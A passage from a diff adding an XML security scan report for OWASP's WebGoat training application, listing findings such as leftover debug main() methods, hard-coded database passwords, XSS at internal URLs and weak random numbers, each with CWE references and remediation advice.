+        severity=\"3\" categoryname=\"Leftover Debug Code\" count=\"1\" issueid=\"42\"
+        module=\"WebGoat-5.0-with-jsp.war\" type=\"main\" description=\"The main()
+        method may be leftover debug code that creates an unintended entry point in
+        a web application. Although this is an acceptable practice during product
+        development, classes that are part of a production J2EE application should
+        not define a main() method. Whether this method can be remotely invoked depends
+        on the configuration of the J2EE container and the application itself.\r\n\r\nEliminate
+        unnecessary entry points in deployed web applications to reduce the attack
+        surface. Ensure that this is not a backdoor disguised as debugging functionality.\r\n\r\nReferences:
+        \r\nCWE (http://cwe.mitre.org/data/definitions/489.html)\r\n\r\n\" note=\"\"
+        cweid=\"489\" remediationeffort=\"2\" exploitLevel=\"-1\" categoryid=\"17\"
+        pcirelated=\"false\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"\" affects_policy_compliance=\"false\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"Encoding.java\"
+        line=\"744\" sourcefilepath=\"org/owasp/webgoat/lessons/\" scope=\"org.owasp.webgoat.lessons.Encoding\"
+        functionprototype=\"void main(java.lang.String  [])\" functionrelativelocation=\"0\"/>\n<flaw
+        severity=\"3\" categoryname=\"Leftover Debug Code\" count=\"1\" issueid=\"243\"
+        module=\"WebGoat-5.0-with-jsp.war\" type=\"main\" description=\"The main()
+        method may be leftover debug code that creates an unintended entry point in
+        a web application. Although this is an acceptable practice during product
+        development, classes that are part of a production J2EE application should
+        not define a main() method. Whether this method can be remotely invoked depends
+        on the configuration of the J2EE container and the application itself.\r\n\r\nEliminate
+        unnecessary entry points in deployed web applications to reduce the attack
+        surface. Ensure that this is not a backdoor disguised as debugging functionality.\r\n\r\nReferences:
+        \r\nCWE (http://cwe.mitre.org/data/definitions/489.html)\r\n\r\n\" note=\"\"
+        cweid=\"489\" remediationeffort=\"2\" exploitLevel=\"-1\" categoryid=\"17\"
+        pcirelated=\"false\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"\" affects_policy_compliance=\"false\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"Exec.java\"
+        line=\"505\" sourcefilepath=\"org/owasp/webgoat/util/\" scope=\"org.owasp.webgoat.util.Exec\"
+        functionprototype=\"void main(java.lang.String  [])\" functionrelativelocation=\"0\"/>\n<flaw
+        severity=\"3\" categoryname=\"Leftover Debug Code\" count=\"1\" issueid=\"133\"
+        module=\"WebGoat-5.0-with-jsp.war\" type=\"main\" description=\"The main()
+        method may be leftover debug code that creates an unintended entry point in
+        a web application. Although this is an acceptable practice during product
+        development, classes that are part of a production J2EE application should
+        not define a main() method. Whether this method can be remotely invoked depends
+        on the configuration of the J2EE container and the application itself.\r\n\r\nEliminate
+        unnecessary entry points in deployed web applications to reduce the attack
+        surface. Ensure that this is not a backdoor disguised as debugging functionality.\r\n\r\nReferences:
+        \r\nCWE (http://cwe.mitre.org/data/definitions/489.html)\r\n\r\n\" note=\"\"
+        cweid=\"489\" remediationeffort=\"2\" exploitLevel=\"-1\" categoryid=\"17\"
+        pcirelated=\"false\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"\" affects_policy_compliance=\"false\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"WebgoatProperties.java\"
+        line=\"114\" sourcefilepath=\"org/owasp/webgoat/session/\" scope=\"org.owasp.webgoat.session.WebgoatProperties\"
+        functionprototype=\"void main(java.lang.String  [])\" functionrelativelocation=\"0\"/>\n</staticflaws>\n</cwe>\n</category>\n<category
+        categoryid=\"10\" categoryname=\"Credentials Management\" pcirelated=\"false\">\n<desc>\n<para
+        text=\"Improper management of credentials, such as usernames and passwords,
+        may compromise system security.  In particular, storing passwords in plaintext
+        or hard-coding passwords directly into application code are design issues
+        that cannot be easily remedied.  Not only does embedding a password allow
+        all of the project's developers to view the password, it also makes fixing
+        the problem extremely difficult.  Once the code is in production, the password
+        cannot be changed without patching the software.  If a hard-coded password
+        is compromised in a commercial product, all deployed instances may be vulnerable
+        to attack, putting customers at risk.\"/>\n<para text=\"One variation on hard-coding
+        plaintext passwords is to hard-code a constant string which is the result
+        of a cryptographic one-way hash.  For example, instead of storing the word
+        &quot;secret,&quot; the application stores an MD5 hash of the word.  This
+        is a common mechanism for obscuring hard-coded passwords from casual viewing
+        but does not significantly reduce risk.  However, using cryptographic hashes
+        for data stored outside the application code can be an effective practice.\"/>\n</desc>\n<recommendations>\n<para
+        text=\"Avoid storing passwords in easily accessible locations, and never store
+        any type of sensitive data in plaintext.  Avoid using hard-coded usernames,
+        passwords, or hash constants whenever possible, particularly in relation to
+        security-critical components.   Store passwords out-of-band from the application
+        code.  Follow best practices for protecting credentials stored in alternate
+        locations such as configuration or properties files.\"/>\n</recommendations>\n<cwe
+        cweid=\"256\" cwename=\"Plaintext Storage of a Password\" pcirelated=\"false\"
+        owasp=\"930\">\n<description>\n<text text=\"A method reads and/or stores sensitive
+        information in plaintext, making the data more susceptible to compromise.\"/>\n</description>\n<staticflaws>\n<flaw
+        severity=\"3\" categoryname=\"Plaintext Storage of a Password\" count=\"1\"
+        issueid=\"223\" module=\"WebGoat-5.0-with-jsp.war\" type=\"java.sql.DriverManager.getConnection\"
+        description=\"The java.sql.DriverManager.getConnection() method reads and/or
+        stores sensitive information in plaintext, making the data more susceptible
+        to compromise.\r\n\r\nNever store sensitive data in plaintext. Consider using
+        cryptographic hashes as an alternative to plaintext.\r\n\r\nReferences: \r\nCWE
+        (http://cwe.mitre.org/data/definitions/256.html)\r\n\r\n\" note=\"\" cweid=\"256\"
+        remediationeffort=\"4\" exploitLevel=\"0\" categoryid=\"10\" pcirelated=\"true\"
+        date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"DatabaseUtilities.java\"
+        line=\"97\" sourcefilepath=\"org/owasp/webgoat/session/\" scope=\"org.owasp.webgoat.session.DatabaseUtilities\"
+        functionprototype=\"java.sql.Connection makeConnection(void)\" functionrelativelocation=\"72\"/>\n</staticflaws>\n</cwe>\n<cwe
+        cweid=\"259\" cwename=\"Use of Hard-coded Password\" pcirelated=\"false\"
+        owasp=\"930\" sans=\"798\" certjava=\"861\">\n<description>\n<text text=\"A
+        method uses a hard-coded password that may compromise system security in a
+        way that cannot be easily remedied.  The use of a hard-coded password significantly
+        increases the possibility that the account being protected will be compromised.
+        \ Moreover, the password cannot be changed without patching the software.
+        \ If a hard-coded password is compromised in a commercial product, all deployed
+        instances may be vulnerable to attack.\"/>\n</description>\n<staticflaws>\n<flaw
+        severity=\"3\" categoryname=\"Use of Hard-coded Password\" count=\"1\" issueid=\"28\"
+        module=\"WebGoat-5.0-with-jsp.war\" type=\"java.sql.DriverManager.getConnection\"
+        description=\"The java.sql.DriverManager.getConnection() method uses a hard-coded
+        password that may compromise system security in a way that cannot be easily
+        remedied. The use of a hard-coded password significantly increases the possibility
+        that the account being protected will be compromised. Moreover, the password
+        cannot be changed without patching the software. If a hard-coded password
+        is compromised in a commercial product, all deployed instances may be vulnerable
+        to attack.\r\n\r\nStore passwords out-of-band from the application code. Follow
+        best practices for protecting credentials stored in locations such as configuration
+        or properties files.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/259.html)\r\n\r\n\"
+        note=\"\" cweid=\"259\" remediationeffort=\"4\" exploitLevel=\"1\" categoryid=\"10\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"CreateDB.java\"
+        line=\"69\" sourcefilepath=\"org/owasp/webgoat/session/\" scope=\"org.owasp.webgoat.session.CreateDB\"
+        functionprototype=\"void main(java.lang.String  [])\" functionrelativelocation=\"16\"/>\n</staticflaws>\n</cwe>\n</category>\n<category
+        categoryid=\"20\" categoryname=\"Cross-Site Scripting\" pcirelated=\"false\">\n<desc>\n<para
+        text=\"Cross-site scripting (XSS) attacks occur when an attacker uses a web
+        application to send malicious code, generally in the form of a browser side
+        script, to a different end user. Flaws that allow these attacks to succeed
+        occur whenever a web application uses untrusted data in the output it generates
+        without validating or encoding it.  XSS vulnerabilities are commonly exploited
+        to steal or manipulate cookies, modify presentation of content, and compromise
+        sensitive information, with new attack vectors being discovered on a regular
+        basis.  XSS is also commonly referred to as HTML injection.\"/>\n<para text=\"XSS
+        vulnerabilities can be either persistent or transient (often referred to as
+        stored and reflected, respectively).  In a persistent XSS vulnerability, the
+        injected code is stored by the application, for example within a blog comment
+        or message board.  The attack occurs whenever a victim views the page containing
+        the malicious script.  In a transient XSS vulnerability, the injected code
+        is included directly in the HTTP request.  These attacks are often carried
+        out via malicious URLs sent via email or another website and requires the
+        victim to browse to that link.  The consequence of an XSS attack to a victim
+        is the same regardless of whether it is persistent or transient; however,
+        persistent XSS vulnerabilities are likely to affect a greater number of victims
+        due to its delivery mechanism.\"/>\n</desc>\n<recommendations>\n<para text=\"Several
+        techniques can be used to prevent XSS attacks. These techniques complement
+        each other and address security at different points in the application. Using
+        multiple techniques provides defense-in-depth and minimizes the likelihood
+        of a XSS vulnerability.\">\n<bulletitem text=\"Use output filtering to sanitize
+        all output generated from user-supplied input, selecting the appropriate method
+        of encoding based on the use case of the untrusted data.  For example, if
+        the data is being written to the body of an HTML page, use HTML entity encoding.
+        \ However, if the data is being used to construct generated Javascript or
+        if it is consumed by client-side methods that may interpret it as code (a
+        common technique in Web 2.0 applications), additional restrictions may be
+        necessary beyond simple HTML encoding.\"/>\n<bulletitem text=\"Validate user-supplied
+        input using positive filters (white lists) to ensure that it conforms to the
+        expected format, using centralized data validation routines when possible.
+        \"/>\n<bulletitem text=\"Do not permit users to include HTML content in posts,
+        notes, or other data that will be displayed by the application.  If users
+        are permitted to include HTML tags, then carefully limit access to specific
+        elements or attributes, and use strict validation filters to prevent abuse.\"/>\n</para>\n</recommendations>\n<cwe
+        cweid=\"83\" cwename=\"Improper Neutralization of Script in Attributes in
+        a Web Page\" pcirelated=\"false\" owasp=\"931\">\n<description>\n<text text=\"The
+        application does not filter text or other data for potentially malicious HTML
+        content. This enables an attacker to craft arbitrary HTML content. This vulnerability
+        typically requires that an attacker be able to submit JavaScript &lt;script&gt;
+        tags as part of a field that is re-displayed to one or more users. The &lt;script&gt;
+        tag contains instructions that are executed in a user's web browser, not on
+        the web application server. JavaScript functions can be used to write raw
+        HTML, read cookie values, pull JavaScript code from a third-party web server,
+        or send data to a third-party web server.\"/>\n</description>\n<dynamicflaws>\n<flaw
+        severity=\"3\" categoryname=\"Improper Neutralization of Script in Attributes
+        in a Web Page\" count=\"1\" issueid=\"277\" module=\"dynamic_analysis\" type=\"Improper
+        Neutralization of Script in Attributes in a Web Page\" description=\"The application
+        does not filter text or other data for potentially malicious HTML content.
+        This enables an attacker to craft arbitrary HTML content. This vulnerability
+        typically requires that an attacker be able to submit JavaScript &lt;script&gt;
+        tags as part of a field that is re-displayed to one or more users. The &lt;script&gt;
+        tag contains instructions that are executed in a user's web browser, not on
+        the web application server. JavaScript functions can be used to write raw
+        HTML, read cookie values, pull JavaScript code from a third-party web server,
+        or send data to a third-party web server.\r\n\r\nCross-site scripting and
+        HTML injection attacks can be defeated by applying robust input validation
+        filters for all data received from the web browser. Do not permit users to
+        include HTML content in posts, notes, or other data that will be displayed
+        by the application. If users are permitted to include HTML entities, then
+        limit access to specific elements or attributes. Use the programming language's
+        built-in routines to remove potentially malicious characters.\r\n\r\n\r\nCWE
+        (http://cwe.mitre.org/cgi-bin/jumpmenu.cgi?id=83) \r\nOWASP (http://www.owasp.org/index.php/Cross_Site_Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"83\" remediationeffort=\"3\" categoryid=\"20\" pcirelated=\"true\"
+        date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 15:03:50 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" url=\"http://10.0.4.89:8080/WebGoat/attack\"/>\n<flaw
+        severity=\"3\" categoryname=\"Improper Neutralization of Script in Attributes
+        in a Web Page\" count=\"1\" issueid=\"278\" module=\"dynamic_analysis\" type=\"Improper
+        Neutralization of Script in Attributes in a Web Page\" description=\"The application
+        does not filter text or other data for potentially malicious HTML content.
+        This enables an attacker to craft arbitrary HTML content. This vulnerability
+        typically requires that an attacker be able to submit JavaScript &lt;script&gt;
+        tags as part of a field that is re-displayed to one or more users. The &lt;script&gt;
+        tag contains instructions that are executed in a user's web browser, not on
+        the web application server. JavaScript functions can be used to write raw
+        HTML, read cookie values, pull JavaScript code from a third-party web server,
+        or send data to a third-party web server.\r\n\r\nCross-site scripting and
+        HTML injection attacks can be defeated by applying robust input validation
+        filters for all data received from the web browser. Do not permit users to
+        include HTML content in posts, notes, or other data that will be displayed
+        by the application. If users are permitted to include HTML entities, then
+        limit access to specific elements or attributes. Use the programming language's
+        built-in routines to remove potentially malicious characters.\r\n\r\n\r\nCWE
+        (http://cwe.mitre.org/cgi-bin/jumpmenu.cgi?id=83) \r\nOWASP (http://www.owasp.org/index.php/Cross_Site_Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"83\" remediationeffort=\"3\" categoryid=\"20\" pcirelated=\"true\"
+        date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 15:03:50 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" url=\"http://10.0.4.89:8080/WebGoat/css/menu.css\"/>\n<flaw
+        severity=\"3\" categoryname=\"Improper Neutralization of Script in Attributes
+        in a Web Page\" count=\"1\" issueid=\"279\" module=\"dynamic_analysis\" type=\"Improper
+        Neutralization of Script in Attributes in a Web Page\" description=\"The application
+        does not filter text or other data for potentially malicious HTML content.
+        This enables an attacker to craft arbitrary HTML content. This vulnerability
+        typically requires that an attacker be able to submit JavaScript &lt;script&gt;
+        tags as part of a field that is re-displayed to one or more users. The &lt;script&gt;
+        tag contains instructions that are executed in a user's web browser, not on
+        the web application server. JavaScript functions can be used to write raw
+        HTML, read cookie values, pull JavaScript code from a third-party web server,
+        or send data to a third-party web server.\r\n\r\nCross-site scripting and
+        HTML injection attacks can be defeated by applying robust input validation
+        filters for all data received from the web browser. Do not permit users to
+        include HTML content in posts, notes, or other data that will be displayed
+        by the application. If users are permitted to include HTML entities, then
+        limit access to specific elements or attributes. Use the programming language's
+        built-in routines to remove potentially malicious characters.\r\n\r\n\r\nCWE
+        (http://cwe.mitre.org/cgi-bin/jumpmenu.cgi?id=83) \r\nOWASP (http://www.owasp.org/index.php/Cross_Site_Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"83\" remediationeffort=\"3\" categoryid=\"20\" pcirelated=\"true\"
+        date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 15:03:50 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" url=\"http://10.0.4.89:8080/WebGoat/images/logos/owasp.jpg\"/>\n<flaw
+        severity=\"3\" categoryname=\"Improper Neutralization of Script in Attributes
+        in a Web Page\" count=\"1\" issueid=\"280\" module=\"dynamic_analysis\" type=\"Improper
+        Neutralization of Script in Attributes in a Web Page\" description=\"The application
+        does not filter text or other data for potentially malicious HTML content.
+        This enables an attacker to craft arbitrary HTML content. This vulnerability
+        typically requires that an attacker be able to submit JavaScript &lt;script&gt;
+        tags as part of a field that is re-displayed to one or more users. The &lt;script&gt;
+        tag contains instructions that are executed in a user's web browser, not on
+        the web application server. JavaScript functions can be used to write raw
+        HTML, read cookie values, pull JavaScript code from a third-party web server,
+        or send data to a third-party web server.\r\n\r\nCross-site scripting and
+        HTML injection attacks can be defeated by applying robust input validation
+        filters for all data received from the web browser. Do not permit users to
+        include HTML content in posts, notes, or other data that will be displayed
+        by the application. If users are permitted to include HTML entities, then
+        limit access to specific elements or attributes. Use the programming language's
+        built-in routines to remove potentially malicious characters.\r\n\r\n\r\nCWE
+        (http://cwe.mitre.org/cgi-bin/jumpmenu.cgi?id=83) \r\nOWASP (http://www.owasp.org/index.php/Cross_Site_Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"83\" remediationeffort=\"3\" categoryid=\"20\" pcirelated=\"true\"
+        date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 15:03:50 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" url=\"http://10.0.4.89:8080/WebGoat/javascript/javascript.js\"/>\n<flaw
+        severity=\"3\" categoryname=\"Improper Neutralization of Script in Attributes
+        in a Web Page\" count=\"1\" issueid=\"281\" module=\"dynamic_analysis\" type=\"Improper
+        Neutralization of Script in Attributes in a Web Page\" description=\"The application
+        does not filter text or other data for potentially malicious HTML content.
+        This enables an attacker to craft arbitrary HTML content. This vulnerability
+        typically requires that an attacker be able to submit JavaScript &lt;script&gt;
+        tags as part of a field that is re-displayed to one or more users. The &lt;script&gt;
+        tag contains instructions that are executed in a user's web browser, not on
+        the web application server. JavaScript functions can be used to write raw
+        HTML, read cookie values, pull JavaScript code from a third-party web server,
+        or send data to a third-party web server.\r\n\r\nCross-site scripting and
+        HTML injection attacks can be defeated by applying robust input validation
+        filters for all data received from the web browser. Do not permit users to
+        include HTML content in posts, notes, or other data that will be displayed
+        by the application. If users are permitted to include HTML entities, then
+        limit access to specific elements or attributes. Use the programming language's
+        built-in routines to remove potentially malicious characters.\r\n\r\n\r\nCWE
+        (http://cwe.mitre.org/cgi-bin/jumpmenu.cgi?id=83) \r\nOWASP (http://www.owasp.org/index.php/Cross_Site_Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"83\" remediationeffort=\"3\" categoryid=\"20\" pcirelated=\"true\"
+        date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 15:03:50 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" url=\"http://10.0.4.89:8080/WebGoat/lesson_solutions/CommandInjection_files/image005.png\"/>\n<flaw
+        severity=\"3\" categoryname=\"Improper Neutralization of Script in Attributes
+        in a Web Page\" count=\"1\" issueid=\"284\" module=\"dynamic_analysis\" type=\"Improper
+        Neutralization of Script in Attributes in a Web Page\" description=\"The application
+        does not filter text or other data for potentially malicious HTML content.
+        This enables an attacker to craft arbitrary HTML content. This vulnerability
+        typically requires that an attacker be able to submit JavaScript &lt;script&gt;
+        tags as part of a field that is re-displayed to one or more users. The &lt;script&gt;
+        tag contains instructions that are executed in a user's web browser, not on
+        the web application server. JavaScript functions can be used to write raw
+        HTML, read cookie values, pull JavaScript code from a third-party web server,
+        or send data to a third-party web server.\r\n\r\nCross-site scripting and
+        HTML injection attacks can be defeated by applying robust input validation
+        filters for all data received from the web browser. Do not permit users to
+        include HTML content in posts, notes, or other data that will be displayed
+        by the application. If users are permitted to include HTML entities, then
+        limit access to specific elements or attributes. Use the programming language's
+        built-in routines to remove potentially malicious characters.\r\n\r\n\r\nCWE
+        (http://cwe.mitre.org/cgi-bin/jumpmenu.cgi?id=83) \r\nOWASP (http://www.owasp.org/index.php/Cross_Site_Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"83\" remediationeffort=\"3\" categoryid=\"20\" pcirelated=\"true\"
+        date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 15:03:50 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" url=\"http://10.0.4.89:8080/WebGoat/lesson_solutions/formate.css\"/>\n<flaw
+        severity=\"3\" categoryname=\"Improper Neutralization of Script in Attributes
+        in a Web Page\" count=\"1\" issueid=\"282\" module=\"dynamic_analysis\" type=\"Improper
+        Neutralization of Script in Attributes in a Web Page\" description=\"The application
+        does not filter text or other data for potentially malicious HTML content.
+        This enables an attacker to craft arbitrary HTML content. This vulnerability
+        typically requires that an attacker be able to submit JavaScript &lt;script&gt;
+        tags as part of a field that is re-displayed to one or more users. The &lt;script&gt;
+        tag contains instructions that are executed in a user's web browser, not on
+        the web application server. JavaScript functions can be used to write raw
+        HTML, read cookie values, pull JavaScript code from a third-party web server,
+        or send data to a third-party web server.\r\n\r\nCross-site scripting and
+        HTML injection attacks can be defeated by applying robust input validation
+        filters for all data received from the web browser. Do not permit users to
+        include HTML content in posts, notes, or other data that will be displayed
+        by the application. If users are permitted to include HTML entities, then
+        limit access to specific elements or attributes. Use the programming language's
+        built-in routines to remove potentially malicious characters.\r\n\r\n\r\nCWE
+        (http://cwe.mitre.org/cgi-bin/jumpmenu.cgi?id=83) \r\nOWASP (http://www.owasp.org/index.php/Cross_Site_Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"83\" remediationeffort=\"3\" categoryid=\"20\" pcirelated=\"true\"
+        date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 15:03:50 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" url=\"http://10.0.4.89:8080/WebGoat/lesson_solutions/HttpSplitting_files/filelist.xml\"/>\n<flaw
+        severity=\"3\" categoryname=\"Improper Neutralization of Script in Attributes
+        in a Web Page\" count=\"1\" issueid=\"283\" module=\"dynamic_analysis\" type=\"Improper
+        Neutralization of Script in Attributes in a Web Page\" description=\"The application
+        does not filter text or other data for potentially malicious HTML content.
+        This enables an attacker to craft arbitrary HTML content. This vulnerability
+        typically requires that an attacker be able to submit JavaScript &lt;script&gt;
+        tags as part of a field that is re-displayed to one or more users. The &lt;script&gt;
+        tag contains instructions that are executed in a user's web browser, not on
+        the web application server. JavaScript functions can be used to write raw
+        HTML, read cookie values, pull JavaScript code from a third-party web server,
+        or send data to a third-party web server.\r\n\r\nCross-site scripting and
+        HTML injection attacks can be defeated by applying robust input validation
+        filters for all data received from the web browser. Do not permit users to
+        include HTML content in posts, notes, or other data that will be displayed
+        by the application. If users are permitted to include HTML entities, then
+        limit access to specific elements or attributes. Use the programming language's
+        built-in routines to remove potentially malicious characters.\r\n\r\n\r\nCWE
+        (http://cwe.mitre.org/cgi-bin/jumpmenu.cgi?id=83) \r\nOWASP (http://www.owasp.org/index.php/Cross_Site_Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"83\" remediationeffort=\"3\" categoryid=\"20\" pcirelated=\"true\"
+        date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 15:03:50 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" url=\"http://10.0.4.89:8080/WebGoat/lesson_solutions/UncheckedEmail_files/image001.png\"/>\n<flaw
+        severity=\"3\" categoryname=\"Improper Neutralization of Script in Attributes
+        in a Web Page\" count=\"1\" issueid=\"285\" module=\"dynamic_analysis\" type=\"Improper
+        Neutralization of Script in Attributes in a Web Page\" description=\"The application
+        does not filter text or other data for potentially malicious HTML content.
+        This enables an attacker to craft arbitrary HTML content. This vulnerability
+        typically requires that an attacker be able to submit JavaScript &lt;script&gt;
+        tags as part of a field that is re-displayed to one or more users. The &lt;script&gt;
+        tag contains instructions that are executed in a user's web browser, not on
+        the web application server. JavaScript functions can be used to write raw
+        HTML, read cookie values, pull JavaScript code from a third-party web server,
+        or send data to a third-party web server.\r\n\r\nCross-site scripting and
+        HTML injection attacks can be defeated by applying robust input validation
+        filters for all data received from the web browser. Do not permit users to
+        include HTML content in posts, notes, or other data that will be displayed
+        by the application. If users are permitted to include HTML entities, then
+        limit access to specific elements or attributes. Use the programming language's
+        built-in routines to remove potentially malicious characters.\r\n\r\n\r\nCWE
+        (http://cwe.mitre.org/cgi-bin/jumpmenu.cgi?id=83) \r\nOWASP (http://www.owasp.org/index.php/Cross_Site_Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"83\" remediationeffort=\"3\" categoryid=\"20\" pcirelated=\"true\"
+        date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 15:03:50 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" url=\"http://10.0.4.89:8080/WebGoat/lessons/General/redirect.jsp\"/>\n<flaw
+        severity=\"3\" categoryname=\"Improper Neutralization of Script in Attributes
+        in a Web Page\" count=\"1\" issueid=\"286\" module=\"dynamic_analysis\" type=\"Improper
+        Neutralization of Script in Attributes in a Web Page\" description=\"The application
+        does not filter text or other data for potentially malicious HTML content.
+        This enables an attacker to craft arbitrary HTML content. This vulnerability
+        typically requires that an attacker be able to submit JavaScript &lt;script&gt;
+        tags as part of a field that is re-displayed to one or more users. The &lt;script&gt;
+        tag contains instructions that are executed in a user's web browser, not on
+        the web application server. JavaScript functions can be used to write raw
+        HTML, read cookie values, pull JavaScript code from a third-party web server,
+        or send data to a third-party web server.\r\n\r\nCross-site scripting and
+        HTML injection attacks can be defeated by applying robust input validation
+        filters for all data received from the web browser. Do not permit users to
+        include HTML content in posts, notes, or other data that will be displayed
+        by the application. If users are permitted to include HTML entities, then
+        limit access to specific elements or attributes. Use the programming language's
+        built-in routines to remove potentially malicious characters.\r\n\r\n\r\nCWE
+        (http://cwe.mitre.org/cgi-bin/jumpmenu.cgi?id=83) \r\nOWASP (http://www.owasp.org/index.php/Cross_Site_Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"83\" remediationeffort=\"3\" categoryid=\"20\" pcirelated=\"true\"
+        date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 15:03:50 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" url=\"http://10.0.4.89:8080/WebGoat/lessons/RoleBasedAccessControl/images/orgChart.jpg\"/>\n</dynamicflaws>\n</cwe>\n</category>\n<category
+        categoryid=\"12\" categoryname=\"Cryptographic Issues\" pcirelated=\"false\">\n<desc>\n<para
+        text=\"Applications commonly use cryptography to implement authentication
+        mechanisms and to ensure the confidentiality and integrity of sensitive data,
+        both in transit and at rest.  The proper and accurate implementation of cryptography
+        is extremely critical to its efficacy.  Configuration or coding mistakes as
+        well as incorrect assumptions may negate a large degree of the protection
+        it affords, leaving the crypto implementation vulnerable to attack.\"/>\n<para
+        text=\"Common cryptographic mistakes include, but are not limited to, selecting
+        weak keys or weak cipher modes, unintentionally exposing sensitive cryptographic
+        data, using predictable entropy sources, and mismanaging or hard-coding keys.
+        \ \"/>\n<para text=\"Developers often make the dangerous assumption that they
+        can improve security by designing their own cryptographic algorithm; however,
+        one of the basic tenets of cryptography is that any cipher whose effectiveness
+        is reliant on the secrecy of the algorithm is fundamentally flawed.  \"/>\n</desc>\n<recommendations>\n<para
+        text=\"Select the appropriate type of cryptography for the intended purpose.
+        \ Avoid proprietary encryption algorithms as they typically rely on &quot;security
+        through obscurity&quot; rather than sound mathematics.  Select key sizes appropriate
+        for the data being protected; for high assurance applications, 256-bit symmetric
+        keys and 2048-bit asymmetric keys are sufficient.  Follow best practices for
+        key storage, and ensure that plaintext data and key material are not inadvertently
+        exposed.\"/>\n</recommendations>\n<cwe cweid=\"331\" cwename=\"Insufficient
+        Entropy\" pcirelated=\"false\" sans=\"327\">\n<description>\n<text text=\"Standard
+        random number generators do not provide a sufficient amount of entropy when
+        used for security purposes. Attackers can brute force the output of pseudorandom
+        number generators such as rand().\"/>\n</description>\n<staticflaws>\n<flaw
+        severity=\"3\" categoryname=\"Insufficient Entropy\" count=\"1\" issueid=\"173\"
+        module=\"WebGoat-5.0-with-jsp.war\" type=\"java.lang.Math.random\" description=\"Standard
+        random number generators do not provide a sufficient amount of entropy when
+        used for security purposes. Attackers can brute force the output of pseudorandom
+        number generators such as rand().\r\n\r\nIf this random number is used where
+        security is a concern, such as generating a session key or session identifier,
+        use a trusted cryptographic random number generator instead. These can be
+        found on the Windows platform in the CryptoAPI or in an open source library
+        such as OpenSSL. In Java, use the SecureRandom object to ensure sufficient
+        entropy.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/331.html)\r\n\r\n\"
+        note=\"\" cweid=\"331\" remediationeffort=\"2\" exploitLevel=\"-1\" categoryid=\"12\"
+        pcirelated=\"false\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"WeakSessionID.java\"
